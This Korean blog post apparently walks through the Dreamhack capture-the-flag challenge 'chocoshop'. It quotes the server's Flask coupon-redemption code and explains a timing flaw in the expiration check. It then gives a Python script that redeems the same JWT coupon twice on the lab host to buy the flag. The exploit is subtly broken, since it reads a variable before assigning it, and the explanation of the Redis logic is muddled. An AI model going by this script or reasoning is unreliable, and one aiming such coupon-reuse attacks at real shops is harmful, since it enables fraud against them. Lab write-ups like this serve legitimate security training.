오늘 풀어볼 문제는 드램핵의 chocoshop이라는 문제입니다.
먼저 문제 사이트를 보면, 쿠폰을 발행해서 1000원을 모을 수 있는데, flag의 가격은 2000원입니다. 쿠폰을 한번 더 발행 받으려고 하니까 다음과 같은 알림이 옵니다.
![](https://apple4n6.com/wp-content/uploads/2023/11/image-3.png)
드림핵 문제 설명에선,
![](https://apple4n6.com/wp-content/uploads/2023/11/image-4.png)
쿠폰을 검사하는 로직이 취약하다니 그 부분을 한번 보겠습니다.
일단 쿠폰을 발급 받아 보니, jwt 형태로 이걸 jwt.io에 올려서 확인해보았습니다.
![](https://apple4n6.com/wp-content/uploads/2023/11/image-6.png)
uuid, user, amount, expiration이 나오는데, 관련한 코드를 살펴보면 다음과 같습니다.
![](https://apple4n6.com/wp-content/uploads/2023/11/image-7.png)
코드를 보아하니, 이중 하드코딩 되어있는 amount는 사용이 불가능할 것 같고.. expiration은 현재 시간을 불러와서 +45초(COUPON_EXPIRATION_DELTA)를 더하는 것을 확인할 수 있습니다.
expiration은 유효시간으로, 위에 토큰에서 나온 값을 Dcode해보니 유닉스 시간인 것을 알 수 있습니다.
![](https://apple4n6.com/wp-content/uploads/2023/11/image-8.png)
이제 쿠폰 사용을 검증하는 구간을 살펴보자.
@app.route('/coupon/submit') @get_session() def coupon_submit(user): coupon = request.headers.get('coupon', None) if coupon is None: raise BadRequest('Missing Coupon') try: coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256') except: raise BadRequest('Invalid coupon') if coupon['expiration'] < int(time()): # 이 부분이 취약한 부분! raise BadRequest('Coupon expired!') rate_limit_key = f'RATELIMIT:{user["uuid"]}' if r.setnx(rate_limit_key, 1): r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA)) else: raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.") used_coupon = f'COUPON:{coupon["uuid"]}' # used_coupon 변수 생성 if r.setnx(used_coupon, 1): # success, we don't need to keep it after expiration time if user['uuid'] != coupon['user']: raise Unauthorized('You cannot submit others\' coupon!') r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time()))) #used_coupon 변수에 false 값 주기 (=0) user['money'] += coupon['amount'] #1000파운드 추가. r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user)) return jsonify({'status': 'success'}) else: # double claim, fail raise BadRequest('Your coupon is alredy submitted!')
이 구간에서 약한 로직은 바로 if coupon[‘expiration’] < int(time()): 이 부분인데, 초 단위로 계산하기 때문에 coupon[‘expiration’] = int(time())할 경우 조건문에 걸리지 않고 내려가게 되는데, 이걸로 쿠폰을 한번 더 재 사용할 수 있게 된다. 왜냐하면, 아래로 내려갈 때 used_coupon에서 걸리는 조건문도 setnx 함수를 사용하는데, setnx는 값이 존재하면 덮어쓰지 않기 때문에 여전히 1로 가능하기 때문이다. (그때 그때 덮어쓰는 get 함수로 코딩하는게 더 안전하겠다..)
이제 이 취약점을 이용해서 exploit 코드를 python으로 작성하겠습니다.
import requests, json, time
url = "http://host3.dreamhack.games:21036/"
def sessionAcquire():
sessionRequest = requests.get(url + "/session")
session = json.loads(sessionRequest.text)["session"]
headers = {"Authorization": session}
requests.get(url + "/me", headers=headers)
print(session)
return session
def couponSubmit(session, sleepTime):
headers = {"Authorization": session}
couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]
print(requests.get(url+"/coupon/submit",headers=headers).text) #1번째 쿠폰
time.sleep(sleepTime)
print(json.loads(meRequest.text)["money"])
print(requests.get(url+"/coupon/submit",headers=headers).text) #2번째 쿠폰
meRequest = requests.get(url+"/me",headers=headers)
print(json.loads(meRequest.text)["money"])
return(print(requests.get(url+"/flag/claim",headers=headers).text)) #flag 구매
if __name__ == "__main__":
session = sessionAcquire()
couponSubmit(session, 45)
코드 실행 결과:
![](https://apple4n6.com/wp-content/uploads/2023/11/image-9.png)
끝.